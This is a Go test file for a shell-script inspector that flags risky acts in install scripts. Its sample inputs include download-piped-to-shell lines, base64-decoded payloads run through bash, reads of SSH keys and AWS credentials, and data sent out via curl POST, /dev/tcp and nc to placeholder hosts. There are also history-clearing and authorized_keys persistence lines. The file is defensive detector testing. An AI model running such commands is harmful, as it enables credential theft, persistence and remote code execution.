Repository navigation
Expand file tree
/
Copy pathcustoms_test.go
More file actions
346 lines (306 loc) · 10.6 KB
/
Copy pathcustoms_test.go
File metadata and controls
346 lines (306 loc) · 10.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
package main
import (
"strings"
"testing"
)
// report is the whole program in one call, for the tests that care about
// what comes out rather than how.
func report(t *testing.T, name, body string) string {
t.Helper()
c := inspect(name, []byte(body))
return renderOf(c, false)
}
func renderOf(c *Customs, source bool) string {
var out strings.Builder
c.writeUp(source).render(&out, c.Name)
return out.String()
}
func acts(t *testing.T, body string) []Act {
t.Helper()
return inspect("test.sh", []byte(body)).Acts
}
// has says whether a finding of this kind was made, and gives it back.
func has(list []Act, sort Sort) (Act, bool) {
for _, a := range list {
if a.Sort == sort {
return a, true
}
}
return Act{}, false
}
func wants(t *testing.T, body string, sort Sort, where string) Act {
t.Helper()
found := acts(t, body)
a, ok := has(found, sort)
if !ok {
t.Fatalf("nothing of that kind was found in:\n%s\ngot %v", body, kinds(found))
}
if where != "" && !strings.Contains(a.Where, where) {
t.Errorf("expected %q in the finding, got %q", where, a.Where)
}
return a
}
func refuses(t *testing.T, body string, sort Sort) {
t.Helper()
if a, ok := has(acts(t, body), sort); ok {
t.Errorf("reported %q for:\n%s", a.What, body)
}
}
func kinds(list []Act) []string {
var out []string
for _, a := range list {
out = append(out, a.What)
}
return out
}
// The line this program exists for.
func TestDownloadPipedIntoAShell(t *testing.T) {
a := wants(t, "curl -fsSL https://get.example.dev/i.sh | sh",
RunsFetched, "https://get.example.dev/i.sh")
if severityOf(a.Sort) != Unread {
t.Error("a download piped into a shell is the code not being in the file")
}
wants(t, "wget -qO- https://x.dev/i | bash", RunsFetched, "https://x.dev/i")
wants(t, "bash <(curl -s https://x.dev/i)", RunsFetched, "https://x.dev/i")
}
// The two step version is the same act with a pause in it, and the pause
// is the only thing that stops a naive reader seeing it.
func TestDownloadThenRunIsTheSameThing(t *testing.T) {
wants(t, `curl -o /tmp/i.sh https://x.dev/i.sh
sh /tmp/i.sh`, RunsFetched, "https://x.dev/i.sh")
wants(t, `curl -o /tmp/i.sh https://x.dev/i.sh
. /tmp/i.sh`, RunsFetched, "https://x.dev/i.sh")
}
// The address is almost never written in one piece.
func TestTheAddressIsPutTogether(t *testing.T) {
wants(t, `BASE="https://get.example.dev"
VERSION=1.4.2
curl -fsSL "$BASE/install-$VERSION.sh" | sh`,
RunsFetched, "https://get.example.dev/install-1.4.2.sh")
}
// A variable set two ways on two branches is not known afterwards, and
// saying it is would put an invented address in a report.
func TestABranchMakesAValueUnknown(t *testing.T) {
found := acts(t, `if [ -n "$CI" ]; then
URL=https://one.example.dev/i
else
URL=https://two.example.dev/i
fi
curl "$URL" | sh`)
a, ok := has(found, RunsFetched)
if !ok {
t.Fatal("the pipe into a shell was missed")
}
if strings.Contains(a.Where, "one.example.dev") {
t.Errorf("it picked one branch and printed it as fact: %q", a.Where)
}
}
// "command curl" is how a careful script writes curl, and reading the
// wrapper as the program is how this found nothing at all in nvm.
func TestWrappersAreNotTheProgram(t *testing.T) {
for _, line := range []string{
"command curl -o /tmp/x https://x.dev/a",
"env FOO=1 curl -o /tmp/x https://x.dev/a",
"nohup curl -o /tmp/x https://x.dev/a",
"timeout 30 curl -o /tmp/x https://x.dev/a",
"exec curl -o /tmp/x https://x.dev/a",
} {
wants(t, line, Downloads, "https://x.dev/a")
}
}
// Asking whether a program exists is not running it, and a script that
// checks for curl before using it must not be reported as downloading.
func TestAskingIfSomethingExistsIsNotUsingIt(t *testing.T) {
for _, line := range []string{
"command -v curl",
"which curl",
"type curl",
"hash curl",
} {
refuses(t, line, Downloads)
}
}
// Docker keeps the whole privilege wrapper in a variable and passes the
// real work as a string.
func TestACommandKeptInAVariable(t *testing.T) {
body := `sh_c='sh -c'
if [ "$user" != 'root' ]; then
sh_c='sudo -E sh -c'
fi
$sh_c "curl -fsSL https://x.dev/gpg -o /etc/apt/keyrings/docker.asc"
$sh_c "apt-get install -y docker-ce"`
wants(t, body, Trusts, "/etc/apt/keyrings")
a := wants(t, body, Installs, "docker-ce")
if !a.Root {
t.Error("it happens under sudo and the finding does not say so")
}
}
// su -c and sudo sh -c both put a script in one argument.
func TestTheDashCFormIsAScript(t *testing.T) {
wants(t, `su -c "echo x >> /etc/profile"`, Persists, "/etc/profile")
wants(t, `sudo sh -c "curl https://x.dev/a | sh"`, RunsFetched, "https://x.dev/a")
}
// A block with a redirect on the end of it is how a script writes several
// lines into one file, and bun's installer does nothing else.
func TestABlockWithARedirect(t *testing.T) {
wants(t, `{
echo '# thing'
echo 'export PATH=/x:$PATH'
} >> "$HOME/.zshrc"`, Persists, "~/.zshrc")
}
// The value a variable falls back to is the value on most machines.
func TestTheDefaultOfAVariableIsUsed(t *testing.T) {
wants(t, `zdot="${ZDOTDIR:-$HOME}"
echo x >> "$zdot/.zshrc"`, Persists, "~/.zshrc")
}
// nvm computes the profile path in a function, and the function has the
// answers written in it as literals.
func TestWhatAFunctionCanHandBack(t *testing.T) {
body := `detect() {
if [ -f "$HOME/.bashrc" ]; then
FOUND="$HOME/.bashrc"
else
FOUND="$HOME/.zshrc"
fi
echo "$FOUND"
}
PROFILE="$(detect)"
printf '%s' "source x" >> "$PROFILE"`
a := wants(t, body, Persists, "~/.bashrc")
if !strings.Contains(a.Where, "whichever") {
t.Errorf("it should say it cannot know which, got %q", a.Where)
}
}
// A helper called with arguments, which is how a path reaches the line
// that writes it.
func TestArgumentsReachTheFunctionBody(t *testing.T) {
wants(t, `unpack() {
tar -xzf "$1" -C "$2"
}
unpack /tmp/x.tar.gz /usr/local/bin`, WritesSystem, "/usr/local/bin")
}
// The helper whose whole body is "$@".
func TestArgumentsPassedStraightThrough(t *testing.T) {
wants(t, `ensure() { "$@"; }
ensure curl -o /tmp/x https://x.dev/a`, Downloads, "https://x.dev/a")
}
func TestPersistence(t *testing.T) {
wants(t, `echo 'export PATH=/x:$PATH' >> ~/.bashrc`, Persists, "~/.bashrc")
wants(t, `cat > /etc/systemd/system/thing.service <<EOF
[Service]
ExecStart=/usr/bin/thing
EOF`, Persists, "/etc/systemd/system")
wants(t, `systemctl enable thing.service`, Persists, "thing.service")
wants(t, `crontab -l | { cat; echo "* * * * * /x"; } | crontab -`, Persists, "")
wants(t, `echo "ssh-rsa AAAA" >> ~/.ssh/authorized_keys`, Persists, "authorized_keys")
}
func TestTrust(t *testing.T) {
wants(t, `echo "deb https://x.dev/apt stable main" > /etc/apt/sources.list.d/x.list`,
Trusts, "/etc/apt/sources.list.d")
wants(t, `apt-key add /tmp/key.gpg`, Trusts, "")
wants(t, `add-apt-repository ppa:someone/ppa`, Trusts, "ppa:someone/ppa")
}
func TestGoingForCredentials(t *testing.T) {
wants(t, `cat ~/.ssh/id_rsa`, Digs, "~/.ssh/id_rsa")
wants(t, `tar czf /tmp/a.tgz ~/.aws/credentials`, Digs, "~/.aws/credentials")
wants(t, `security find-generic-password -s login`, Digs, "")
}
func TestSendingSomethingOut(t *testing.T) {
wants(t, `curl -X POST -d @/tmp/x https://collect.example.dev/k`,
SendsOut, "https://collect.example.dev/k")
wants(t, `echo hi > /dev/tcp/10.0.0.1/4444`, SendsOut, "/dev/tcp/")
wants(t, `nc 10.0.0.1 4444 < /tmp/x`, SendsOut, "")
}
func TestHidingWhatItDid(t *testing.T) {
wants(t, `unset HISTFILE`, HidesTracks, "")
wants(t, `set +o history`, HidesTracks, "")
wants(t, `history -c`, HidesTracks, "")
}
func TestPutTogetherWhileItRuns(t *testing.T) {
wants(t, `echo aGVsbG8K | base64 -d | sh`, Obscures, "")
wants(t, `eval "$WHATEVER"`, Obscures, "")
a := wants(t, `curl -s https://x.dev/p | base64 -d | bash`, RunsFetched, "https://x.dev/p")
if !strings.Contains(a.What, "decodes") {
t.Errorf("it should say the thing that ran is not the thing downloaded: %q", a.What)
}
}
// The escapes form is how a command is written so nobody reads it.
func TestEscapedCommandIsResolved(t *testing.T) {
if got := unescapeAnsiC(`\x63\x75\x72\x6c`); got != "curl" {
t.Errorf("the escapes came out as %q", got)
}
if got := unescapeAnsiC(`\101\102\t`); got != "AB\t" {
t.Errorf("the octal came out as %q", got)
}
}
func TestTurningOffTheCertificateCheck(t *testing.T) {
wants(t, `curl -k https://x.dev/a | sh`, Insecure, "https://x.dev/a")
wants(t, `wget --no-check-certificate https://x.dev/a -O /tmp/a`, Insecure, "")
}
// A script with nothing in it worth deciding about has to come back quiet.
func TestAnOrdinaryScriptIsQuiet(t *testing.T) {
body := `#!/bin/sh
set -eu
echo "building"
go build -o thing ./cmd/thing
echo "done"`
c := inspect("build.sh", []byte(body))
if c.worth() {
t.Errorf("an ordinary build script needs a decision: %v", kinds(c.Acts))
}
text := renderOf(c, false)
for _, loud := range []string{"[LEAVES ]", "[REACHES]", "[UNREAD ]"} {
if strings.Contains(text, loud) {
t.Errorf("a build script got a %s finding:\n%s", loud, text)
}
}
if !strings.Contains(text, "not the same as nothing being") {
t.Error("it did not say what it had not looked at")
}
}
// A temporary file is not a finding, or nothing else in the report gets
// read.
func TestTemporaryFilesAreNotFindings(t *testing.T) {
for _, line := range []string{
`echo x > "$TMPDIR/thing"`,
`echo x >> "$tmpfile"`,
`echo x > /tmp/thing`,
} {
refuses(t, line, Persists)
}
}
func TestTheLineNumberIsRight(t *testing.T) {
body := "#!/bin/sh\n\necho one\n\ncurl https://x.dev/a | sh\n"
a := wants(t, body, RunsFetched, "")
if a.Line != 5 {
t.Errorf("the finding points at line %d and the pipe is on line 5", a.Line)
}
}
func TestSourceQuotesTheLine(t *testing.T) {
body := "#!/bin/sh\ncurl https://x.dev/a | sh\n"
c := inspect("i.sh", []byte(body))
quiet := renderOf(c, false)
loud := renderOf(c, true)
if strings.Contains(quiet, "curl https://x.dev/a | sh") {
t.Error("the line printed without --source")
}
if !strings.Contains(loud, "curl https://x.dev/a | sh") {
t.Error("--source did not quote the line, which is what it is for")
}
}
// A credential in the script must not travel into the report, in either
// mode.
func TestNoCredentialIsEverPrinted(t *testing.T) {
token := "gh" + "p_" + "16C7e42F292c6912E7710c838347Ae178B4a"
body := `curl -H "Authorization: Bearer ` + token + `" https://x.dev/a | sh
curl https://user:s3cretpassword@private.example.dev/a -o /tmp/a`
c := inspect("i.sh", []byte(body))
for _, source := range []bool{false, true} {
text := renderOf(c, source)
for _, secret := range []string{token, "s3cretpassword"} {
if strings.Contains(text, secret) {
t.Errorf("source=%v printed %q", source, secret)
}
}
}
}